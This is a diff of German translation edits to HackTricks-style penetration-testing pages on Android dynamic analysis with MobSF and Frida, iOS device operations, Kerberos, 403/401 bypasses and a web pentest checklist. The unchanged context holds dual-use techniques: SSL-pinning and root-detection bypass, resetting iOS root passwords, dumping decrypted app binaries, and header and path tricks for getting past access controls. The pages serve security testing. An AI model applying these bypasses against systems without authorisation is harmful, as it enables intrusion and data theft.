@@ -534,19 +534,19 @@ Der **MobSF-Dynamikanalysator** kann:
 - **HTTPS-Verkehr erfassen**
 - **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
 
-Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
+Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
 
 **Frida**
 
 Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\
-MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon erfassen und sie für den Bericht **speichern**.
+MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**.
 
 Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\
 MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
 
 ![](<../../images/image (419).png>)
 
-Darüber hinaus haben Sie einige zusätzliche Frida-Funktionalitäten:
+Darüber hinaus haben Sie einige zusätzliche Frida-Funktionen:
 
 - **Geladene Klassen auflisten**: Es werden alle geladenen Klassen ausgegeben.
 - **Strings erfassen**: Es werden alle erfassten Strings während der Verwendung der Anwendung ausgegeben (sehr laut).
@@ -555,11 +555,11 @@ Darüber hinaus haben Sie einige zusätzliche Frida-Funktionalitäten:
 - **Klassenmuster suchen**: Klassen nach Muster suchen.
 - **Methoden der Klasse nachverfolgen**: **Verfolgen** Sie eine **ganze Klasse** (sehen Sie Eingaben und Ausgaben aller Methoden der Klasse). Denken Sie daran, dass MobSF standardmäßig mehrere interessante Android-API-Methoden nachverfolgt.
 
-Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Instrumentation**" drücken, und Sie werden alle Ausgaben in "**Frida Live Logs**" sehen.
+Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Instrumentation**" drücken, und Sie sehen alle Ausgaben in "**Frida Live Logs**".
 
 **Shell**
 
-Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
+Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und allgemeinen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
 ```bash
 help
 shell ls
@@ -570,7 +570,7 @@ receivers
 ```
 **HTTP-Tools**
 
-Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf dem "**HTTP(S) Traffic**" unteren Bereich oder eine schönere Ansicht im "**Start HTTPTools**" grünen Bereich sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
+Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
 Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
 Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" drücken, um **HTTP-Anfragen zu fuzzern** und nach Schwachstellen zu suchen.
@@ -595,7 +595,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen in Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
+Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsanfälligkeiten** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -629,9 +629,9 @@ super-analyzer {apk_file}
 
 StaCoAn ist ein **plattformübergreifendes** Tool, das Entwicklern, Bug-Bounty-Jägern und ethischen Hackern hilft, [statische Codeanalyse](https://en.wikipedia.org/wiki/Static_program_analysis) von mobilen Anwendungen durchzuführen.
 
-Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und es wird Ihnen einen visuellen und tragbaren Bericht erstellen. Sie können die Einstellungen und Wortlisten anpassen, um ein individuelles Erlebnis zu erhalten.
+Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und sie wird einen visuellen und tragbaren Bericht für Sie erstellen. Sie können die Einstellungen und Wortlisten anpassen, um ein individuelles Erlebnis zu erhalten.
 
-Laden Sie [die neueste Version](https://github.com/vincentcox/StaCoAn/releases) herunter:
+Download[ neueste Version](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ./stacoan
 ```
@@ -690,7 +690,7 @@ Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK in [htt
 
 - eine Ressource als InputStream laden;
 - das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln;
-- einige nutzlose Obfuskation durchführen, um dem Reverser ein paar Minuten Zeit zu stehlen;
+- einige nutzlose Obfuskation durchführen, um dem Reverse-Engineer ein paar Minuten Zeit zu stehlen;
 - das entschlüsselte Ergebnis an einen ZipInputStream weitergeben, um eine DEX-Datei zu erhalten;
 - schließlich die resultierende DEX als Ressource mit der Methode `loadDex` laden.
 
@@ -720,7 +720,7 @@ APKiD gibt Ihnen Informationen darüber, **wie eine APK erstellt wurde**. Es ide
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b ist eine Android-Sicherheitsvirtualmaschine, die auf ubuntu-mate basiert und die Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Sicherheitsgeeks und Forschern für Reverse Engineering und Malware-Analyse umfasst.
+AndroL4b ist eine Android-Sicherheitsvirtualmaschine, die auf ubuntu-mate basiert und die Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Sicherheitsgeeks und Forschern für Reverse Engineering und Malware-Analyse enthält.
 
 ## References
 

src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -25,7 +25,7 @@ $ idevice_id -l
 ```bash
 $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
 ```
-- **Einsatz von `instruments`, um Geräte aufzulisten:**
+- **Verwendung von `instruments`, um Geräte aufzulisten:**
 ```bash
 $ instruments -s devices
 ```
@@ -38,11 +38,11 @@ $ instruments -s devices
 $ iproxy 2222 22
 $ ssh -p 2222 root@localhost
 ```
-**On-device shell applications**, wie NewTerm 2, erleichtern die direkte Interaktion mit dem Gerät, was besonders nützlich für die Fehlersuche ist. **Reverse SSH shells** können ebenfalls für den Remote-Zugriff vom Host-Computer eingerichtet werden.
+**On-device shell applications**, wie NewTerm 2, ermöglichen eine direkte Interaktion mit dem Gerät, was besonders nützlich für die Fehlersuche ist. **Reverse SSH shells** können ebenfalls für den Remote-Zugriff vom Host-Computer eingerichtet werden.
 
 ### **Zurücksetzen vergessener Passwörter**
 
-Um ein vergessenes Passwort auf das Standardpasswort (`alpine`) zurückzusetzen, ist es notwendig, die Datei `/private/etc/master.passwd` zu bearbeiten. Dies beinhaltet das Ersetzen des vorhandenen Hashes durch den Hash für `alpine` neben den Einträgen für die Benutzer `root` und `mobile`.
+Um ein vergessenes Passwort auf das Standardpasswort (`alpine`) zurückzusetzen, ist es notwendig, die Datei `/private/etc/master.passwd` zu bearbeiten. Dies beinhaltet das Ersetzen des vorhandenen Hashs durch den Hash für `alpine` neben den Einträgen für die Benutzer `root` und `mobile`.
 
 ## **Datenübertragungstechniken**
 
@@ -54,13 +54,13 @@ tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-
 exit
 scp -P 2222 root@localhost:/tmp/data.tgz .
 ```
-### **Grafische Benutzeroberflächen-Tools**
+### **Graphische Benutzeroberflächen-Tools**
 
 **Verwendung von iFunbox und iExplorer:** Diese GUI-Tools sind nützlich für die Verwaltung von Dateien auf iOS-Geräten. Allerdings hat Apple ab iOS 8.4 den Zugriff dieser Tools auf den Anwendungs-Sandbox eingeschränkt, es sei denn, das Gerät ist jailbroken.
 
 ### **Verwendung von Objection zur Dateiverwaltung**
 
-**Interaktive Shell mit Objection:** Das Starten von Objection ermöglicht den Zugriff auf das Bundle-Verzeichnis einer App. Von hier aus können Sie zum Dokumentenverzeichnis der App navigieren und Dateien verwalten, einschließlich des Herunterladens und Hochladens von und zu dem iOS-Gerät.
+**Interaktive Shell mit Objection:** Das Starten von objection ermöglicht den Zugriff auf das Bundle-Verzeichnis einer App. Von hier aus können Sie zum Dokumentenverzeichnis der App navigieren und Dateien verwalten, einschließlich des Herunterladens und Hochladens von und zu dem iOS-Gerät.
 ```bash
 objection --gadget com.apple.mobilesafari explorer
 cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@@ -70,7 +70,7 @@ file download <filename>
 
 ### **Erwerb der IPA-Datei**
 
-**Over-The-Air (OTA) Verteilungslink:** Apps, die zur Testzwecken über OTA verteilt werden, können mit dem ITMS-Dienste-Asset-Downloader-Tool heruntergeladen werden, das über npm installiert wird und verwendet wird, um die IPA-Datei lokal zu speichern.
+**Over-The-Air (OTA) Verteilungslink:** Apps, die zur Testzwecken über OTA verteilt werden, können mit dem ITMS-Dienst-Asset-Downloader-Tool heruntergeladen werden, das über npm installiert wird und verwendet wird, um die IPA-Datei lokal zu speichern.
 ```bash
 npm install -g itms-services
 itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 
 ### **Entschlüsselungsprozess**
 
-**Überblick über die manuelle Entschlüsselung:** iOS-App-Binärdateien sind von Apple mit FairPlay verschlüsselt. Um eine Rückentwicklung durchzuführen, muss man die entschlüsselte Binärdatei aus dem Speicher dumpen. Der Entschlüsselungsprozess umfasst das Überprüfen des PIE-Flags, das Anpassen der Speicherflags, das Identifizieren des verschlüsselten Abschnitts und dann das Dumpen und Ersetzen dieses Abschnitts durch seine entschlüsselte Form.
+**Überblick über die manuelle Entschlüsselung:** iOS-App-Binärdateien sind von Apple mit FairPlay verschlüsselt. Um eine Reverse-Engineering durchzuführen, muss man die entschlüsselte Binärdatei aus dem Speicher dumpen. Der Entschlüsselungsprozess umfasst das Überprüfen des PIE-Flags, das Anpassen der Speicherflags, das Identifizieren des verschlüsselten Abschnitts und dann das Dumpen und Ersetzen dieses Abschnitts durch seine entschlüsselte Form.
 
 **Überprüfen und Ändern des PIE-Flags:**
 ```bash
@@ -90,7 +90,7 @@ otool -Vh Original_App
 python change_macho_flags.py --no-pie Original_App
 otool -Vh Hello_World
 ```
-**Identifizierung des verschlüsselten Abschnitts und Dumpen des Speichers:**
+**Identifizieren des verschlüsselten Abschnitts und Dumpen des Speichers:**
 
 Bestimmen Sie die Start- und Endadressen des verschlüsselten Abschnitts mit `otool` und dumpen Sie den Speicher vom jailbroken Gerät mit gdb.
 ```bash
@@ -103,7 +103,7 @@ Ersetzen Sie den verschlüsselten Abschnitt im ursprünglichen App-Binary durch
 ```bash
 dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 ```
-**Finalisierung der Entschlüsselung:** Ändern Sie die Metadaten der Binärdatei, um das Fehlen von Verschlüsselung anzuzeigen, indem Sie Tools wie **MachOView** verwenden und `cryptid` auf 0 setzen.
+**Finalisierung der Entschlüsselung:** Ändern Sie die Metadaten der Binärdatei, um das Fehlen von Verschlüsselung anzuzeigen, indem Sie Tools wie **MachOView** verwenden und den `cryptid` auf 0 setzen.
 
 ### **Entschlüsselung (Automatisch)**
 
@@ -132,7 +132,7 @@ flexdump dump Twitter.app
 ```
 #### **bagbak**
 
-[**bagbak**](https://github.com/ChiChou/bagbak), ein weiteres auf Frida basierendes Tool, erfordert ein gejailbreaktes Gerät für die App-Dekodierung:
+[**bagbak**](https://github.com/ChiChou/bagbak), ein weiteres auf Frida basierendes Tool, erfordert ein jailbroken Gerät für die App-Dekryptierung:
 ```bash
 bagbak --raw Chrome
 ```
@@ -164,7 +164,7 @@ Um iPad-spezifische Anwendungen auf iPhone- oder iPod touch-Geräten zu installi
 
 ## Referenzen
 
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

src/network-services-pentesting/pentesting-kerberos-88/README.md

@@ -15,7 +15,7 @@ Nach der Authentifizierung durch **Kerberos** wird der Entscheidungsprozess bez
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Um zu lernen, wie man Kerberos missbraucht, sollten Sie den Beitrag über** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** lesen.**
+### **Um zu lernen, wie man Kerberos missbraucht, sollten Sie den Beitrag über** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** lesen.**
 
 ## Mehr
 

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -6,9 +6,9 @@
 
 Versuchen Sie, **verschiedene Verben** zu verwenden, um auf die Datei zuzugreifen: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
-- Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen bereitgestellt werden. Zum Beispiel bedeutet eine **200-Antwort** auf **HEAD** mit `Content-Length: 55`, dass das **HEAD-Verb auf die Informationen zugreifen kann**. Aber Sie müssen immer noch einen Weg finden, um diese Informationen zu exfiltrieren.
-- Verwenden Sie einen HTTP-Header wie `X-HTTP-Method-Override: PUT`, um das verwendete Verb zu überschreiben.
-- Verwenden Sie das **`TRACE`**-Verb und wenn Sie sehr viel Glück haben, sehen Sie vielleicht in der Antwort auch die **von Zwischenproxies hinzugefügten Header**, die nützlich sein könnten.
+- Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine **200-Antwort** auf **HEAD** mit `Content-Length: 55`, dass das **HEAD-Verb auf die Info zugreifen kann**. Aber Sie müssen immer noch einen Weg finden, um diese Info zu exfiltrieren.
+- Die Verwendung eines HTTP-Headers wie `X-HTTP-Method-Override: PUT` kann das verwendete Verb überschreiben.
+- Verwenden Sie das **`TRACE`**-Verb und wenn Sie sehr viel Glück haben, können Sie vielleicht in der Antwort auch die **von Zwischenproxies hinzugefügten Header** sehen, die nützlich sein könnten.
 
 ## HTTP Headers Fuzzing
 
@@ -35,7 +35,7 @@ Wenn der **Pfad geschützt ist**, können Sie versuchen, den Pfadschutz mit dies
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Wenn die Seite **hinter einem Proxy** ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **oder** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)** auszunutzen.**
+- Wenn die Seite **hinter einem Proxy** ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **oder** [**Hop-by-Hop-Header**](../../pentesting-web/abusing-hop-by-hop-headers.md)** auszunutzen.**
 - Fuzz [**spezielle HTTP-Header**](special-http-headers.md) auf der Suche nach unterschiedlichen Antworten.
 - **Fuzz spezielle HTTP-Header**, während Sie **HTTP-Methoden** fuzzing.
 - **Entfernen Sie den Host-Header**, und vielleicht können Sie den Schutz umgehen.
@@ -45,7 +45,7 @@ Wenn der **Pfad geschützt ist**, können Sie versuchen, den Pfadschutz mit dies
 Wenn _/path_ blockiert ist:
 
 - Versuchen Sie, _**/**_**%2e/path \_(wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch**\_\*\* /%252e\*\*/path (doppelte URL-Codierung)
-- Versuchen Sie **Unicode-Bypass**: _/**%ef%bc%8f**path_ (Die URL-codierten Zeichen sind wie "/"), sodass es beim Zurückcodieren _//path_ sein wird und Sie möglicherweise bereits die _/path_-Namensüberprüfung umgangen haben.
+- Versuchen Sie **Unicode-Bypass**: _/**%ef%bc%8f**path_ (Die URL-codierten Zeichen sind wie "/"), sodass sie beim Zurückcodieren _//path_ ergeben und Sie möglicherweise bereits die _/path_-Namensüberprüfung umgangen haben.
 - **Andere Pfad-Bypässe**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -80,11 +80,11 @@ Wenn _/path_ blockiert ist:
 - Verwenden Sie Sonderzeichen.
 - Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie _-234_ oder _0_ oder _99999999_ (nur einige Beispielwerte) an.
 
-## **Protocol version**
+## **Protokollversion**
 
 Wenn Sie HTTP/1.1 verwenden, **versuchen Sie, 1.0** zu verwenden oder testen Sie, ob es **2.0 unterstützt**.
 
-## **Other Bypasses**
+## **Andere Bypässe**
 
 - Holen Sie sich die **IP** oder **CNAME** der Domain und versuchen Sie, **sie direkt zu kontaktieren**.
 - Versuchen Sie, den **Server zu belasten**, indem Sie gängige GET-Anfragen senden ([Es hat für diesen Typen mit Facebook funktioniert](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).

src/network-services-pentesting/pentesting-web/README.md

@@ -6,7 +6,7 @@
 
 Der Webdienst ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**.
 
-**Standardport:** 80 (HTTP), 443 (HTTPS)
+**Standardport:** 80 (HTTP), 443(HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -27,17 +27,17 @@ web-api-pentesting.md
 
 > In dieser Methodologie nehmen wir an, dass Sie eine Domain (oder Subdomain) angreifen werden und nur diese. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
 
-- [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technik erfolgreich identifizieren können.
-- [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
-- [ ] Verwenden Sie eine **bekannte Technik**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
+- [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
+- [ ] Gibt es eine **bekannte Schwachstelle** der Version der Technologie?
+- [ ] Verwenden Sie eine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
 - [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen können (wie wpscan)?
-- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken.
+- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen finden.
 - [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS).
 - [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**.
 - [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
 - [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
 - [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
-- [ ] **Überprüfung von Backups**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
+- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
 - [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
 - [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
 - [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
@@ -69,9 +69,9 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
 - [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
@@ -86,17 +86,17 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
-- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/)
+- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
 - [**VMWare**](vmware-esx-vcenter....md)
 - [**Web API Pentesting**](web-api-pentesting.md)
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS zu RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS zu RCE)**](electron-desktop-apps/index.html)
 
 _Beachte, dass die **gleiche Domain** **verschiedene Technologien** in verschiedenen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
 Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben** oder **eine andere** verwendet, vergiss nicht, **im Internet nach neuen Tricks zu suchen** (und lass es mich wissen!).
@@ -110,7 +110,7 @@ Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben
 - Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
 - Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet?
 - Kannst du **auf eine dieser Dateien zugreifen**, indem du eine Schwachstelle ausnutzt?
-- Gibt es **interessante Informationen in den github** (gelöste und ungelöste) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
+- Gibt es **interessante Informationen in den GitHub** (gelöste und ungelöste) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
 
 {{#ref}}
 code-review-tools.md
@@ -132,20 +132,20 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### CMS-Scanner
 
-Wenn ein CMS verwendet wird, vergessen Sie nicht, **einen Scanner auszuführen**, vielleicht wird etwas Interessantes gefunden:
+Wenn ein CMS verwendet wird, vergiss nicht, **einen Scanner auszuführen**, vielleicht wird etwas Interessantes gefunden:
 
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**-Websites auf Sicherheitsprobleme. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **oder** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin**-Websites auf Sicherheitsprobleme. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **oder** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
 wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks, die Sie während des Tests im Hinterkopf behalten sollten. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt.
+> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks im Hinterkopf behalten, die während des Tests nützlich sein können. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt.
 
 ## Schritt-für-Schritt-Webanwendungsentdeckung
 
@@ -166,7 +166,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **Offenlegung sensibler Informationen** öffnen.
 
-- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx, .html, usw.) zu
+- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu
